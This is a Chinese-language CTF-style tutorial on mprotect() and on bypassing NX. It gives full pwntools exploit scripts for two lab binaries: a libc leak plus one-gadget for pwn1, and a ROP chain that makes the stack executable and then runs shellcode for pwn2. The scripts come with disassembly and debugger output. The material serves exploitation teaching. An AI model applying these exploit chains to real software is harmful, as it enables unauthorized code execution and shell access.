mprotect 函数
mprotect 函数用于设置一块内存的保护权限（将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值），函数原型如下所示：
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
prot 的取值如下，通过 | 可以将几个属性结合使用（值相加）：
需要注意的是，指定的内存区间必须包含整个内存页（4K），起始地址 start 必须是一个内存页的起始地址，并且区间长度 len 必须是页大小的整数倍。
如果执行成功，函数返回 0；如果执行失败，函数返回 -1，并且通过 errno 变量表示具体原因。错误的原因主要有以下几个：
EACCES：该内存不能设置为相应权限。这是可能发生的，比如 mmap(2) 映射一个文件为只读的，接着使用 mprotect() 修改为 PROT_WRITE。
EINVAL：start 不是一个有效指针，指向的不是某个内存页的开头。
ENOMEM：进程的地址空间在区间 [start, start+len] 范围内是无效，或者有一个或多个内存页没有映射。
当一个进程的内存访问行为违背了内存的保护属性，内核将发出 SIGSEGV（Segmentation fault，段错误）信号，并且终止该进程。
例题
先来看 pwn1，这是一个 64 位的动态链接程序，开启了 Partial RELRO 和 NX。系统层面 ASLR 也是开启的。
$ file pwn1
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f92248c7cd330ab53768c281b50d14b4612259f4, not stripped
$ pwn checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
主函数 main() 先调用 write() 打印字符串，然后进入存在栈溢出漏洞的 vul() 函数，read(0, &buf, 0x100uLL) 读入最多 0x100 字节到 0x80 大小的缓冲区。
.text:0000000000400587 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400587 public main
.text:0000000000400587 main proc near
.text:0000000000400587 ; __unwind {
.text:0000000000400587 push rbp
.text:0000000000400588 mov rbp, rsp
.text:000000000040058B mov edx, 9 ; n
.text:0000000000400590 mov esi, offset aWelcome ; "welcome~\n"
.text:0000000000400595 mov edi, 1 ; fd
.text:000000000040059A call _write
.text:000000000040059F call vul
.text:00000000004005A4 mov eax, 0
.text:00000000004005A9 pop rbp
.text:00000000004005AA retn
.text:00000000004005AA ; } // starts at 400587
.text:00000000004005AA main endp
.text:0000000000400566 public vul
.text:0000000000400566 vul proc near
.text:0000000000400566
.text:0000000000400566 buf= byte ptr -80h
.text:0000000000400566
.text:0000000000400566 ; __unwind {
.text:0000000000400566 push rbp
.text:0000000000400567 mov rbp, rsp
.text:000000000040056A add rsp, 0FFFFFFFFFFFFFF80h
.text:000000000040056E lea rax, [rbp+buf]
.text:0000000000400572 mov edx, 100h ; nbytes
.text:0000000000400577 mov rsi, rax ; buf
.text:000000000040057A mov edi, 0 ; fd
.text:000000000040057F call _read
.text:0000000000400584 nop
.text:0000000000400585 leave
.text:0000000000400586 retn
.text:0000000000400586 ; } // starts at 400566
.text:0000000000400586 vul endp
总体思路就是栈溢出控制返回地址，执行 one-gadget。因此，我们还需要泄漏 libc 地址，程序里有 write() 函数可以利用。exp 如下所示：
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn1')
elf = ELF('./pwn1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rsi_r15 = 0x400611
pop_rdi = 0x400613
write = 0x400595
payload = "A"*0x88 + p64(pop_rsi_r15) + p64(elf.got['write'])*2 + p64(write)
io.sendlineafter('welcome~\n', payload)
write_addr = u64(io.recv(8))
io.recv()
one_gadget = write_addr - libc.sym['write'] + 0x4527a
payload = "A"*0x88 + p64(one_gadget)
io.sendline(payload)
io.interactive()
pwn2 是一个 64 位的静态链接程序，开启了 Partial RELRO 和 NX。
$ file pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=a3abf349ced6dccd645f0a95d9d47e8ac1217e3e, not stripped
$ pwn checksec pwn2
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
由于静态链接程序的执行不再需要 libc，因此 ret2libc 类型的攻击手段就失效了，需要考虑注入 shellcode，但是又开启了 NX 保护，这时就需要使用本节所讲的 mprotect() 函数修改栈的可执行权限。
可以在程序里找到关键函数 _dl_make_stack_executable()，该函数内部调用了 mprotect(v3, dl_pagesize, (unsigned int)_stack_prot)：
$ readelf -s pwn2 | grep exec
635: 0000000000499f70 2296 FUNC LOCAL DEFAULT 6 execute_cfa_program
639: 000000000049af40 2094 FUNC LOCAL DEFAULT 6 execute_stack_op
821: 0000000000474730 92 FUNC GLOBAL DEFAULT 6 _dl_make_stack_executable
1831: 00000000006cb168 8 OBJECT GLOBAL DEFAULT 25 _dl_make_stack_executable
unsigned int __fastcall dl_make_stack_executable(_QWORD *a1)
{
__int64 v1; // rdx
_QWORD *v2; // rax
signed __int64 v3; // rdi
_QWORD *v4; // rbx
unsigned int result; // eax
v1 = *a1;
v2 = a1;
v3 = *a1 & -(signed __int64)dl_pagesize;
if ( v1 != _libc_stack_end )
return 1;
v4 = v2;
result = mprotect(v3, dl_pagesize, (unsigned int)_stack_prot);
if ( result )
return __readfsdword(0xFFFFFFD0);
*v4 = 0LL;
dl_stack_flags |= 1u;
return result;
}
构造方法是在进入 _dl_make_stack_executable 函数之前，将全局变量 _stack_prot 设置为 7（可读可写可执行），同时将 rdi 设置为全局变量 __libc_stack_end 的值。如下所示：
gef➤ x/gx $rsp-0x10
0x7ffef00bbb08: 0x4141414141414141
0x7ffef00bbb10: 0x4141414141414141
0x7ffef00bbb18: 0x00000000004015e7 # pop rsi ; ret
0x7ffef00bbb20: 0x0000000000000007 # rwx
0x7ffef00bbb28: 0x00000000004014c6 # pop rdi ; ret
0x7ffef00bbb30: 0x00000000006c9fe0 # __stack_prot
0x7ffef00bbb38: 0x000000000047a3b2 # mov [rdi], rsi
0x7ffef00bbb40: 0x00000000004014c6 # pop rdi ; ret
0x7ffef00bbb48: 0x00000000006c9f90 # __libc_stack_end
0x7ffef00bbb50: 0x0000000000474730 # _dl_make_stack_executable
0x7ffef00bbb58: 0x00000000004009e7 # vul
调用 mprotect 前：
0x474754 <_dl_make_stack_executable+36> add BYTE PTR [rbx+0x48], dl
0x474757 <_dl_make_stack_executable+39> mov ebx, eax
→ 0x474759 <_dl_make_stack_executable+41> call 0x43fd00 <mprotect>
↳ 0x43fd00 <mprotect+0> mov eax, 0xa
0x43fd05 <mprotect+5> syscall
0x43fd07 <mprotect+7> cmp rax, 0xfffffffffffff001
mprotect (
$rdi = 0x00007ffef00bb000 → 0x0000000000000000,
$rsi = 0x0000000000001000,
$rdx = 0x0000000000000007
)
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw-
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
0x00007ffef009d000 0x00007ffef00be000 0x0000000000000000 rw- [stack]
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
调用 mprotect 后，可以看到 0x00007ffef00bb000 到 0x00007ffef00bc000 的栈内存已经是 rwx 权限了：
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw-
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
0x00007ffef009d000 0x00007ffef00bb000 0x0000000000000000 rw-
0x00007ffef00bb000 0x00007ffef00bc000 0x0000000000000000 rwx [stack]
0x00007ffef00bc000 0x00007ffef00be000 0x0000000000000000 rw-
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
接下来程序跳到 vul 函数，读入 shellcode 到栈上并执行，即可获得 shell。exp 如下所示：
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn2')
elf = ELF('./pwn2')
vul = 0x4009E7
write = 0x4009DD
pop_rdi = 0x4014c6
pop_rsi = 0x4015e7
pop_rdx = 0x442626
jmp_rsi = 0x4a3313
mov_rdi_esi = 0x47a3b3
payload = "A"*0x88
payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym['__stack_prot']) + p64(mov_rdi_esi)
payload += p64(pop_rdi) + p64(elf.sym['__libc_stack_end']) + p64(elf.sym['_dl_make_stack_executable'])
payload += p64(vul)
io.sendlineafter('welcome~\n', payload)
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x88, "A") + p64(jmp_rsi)
io.sendline(payload)
io.interactive()
参考资料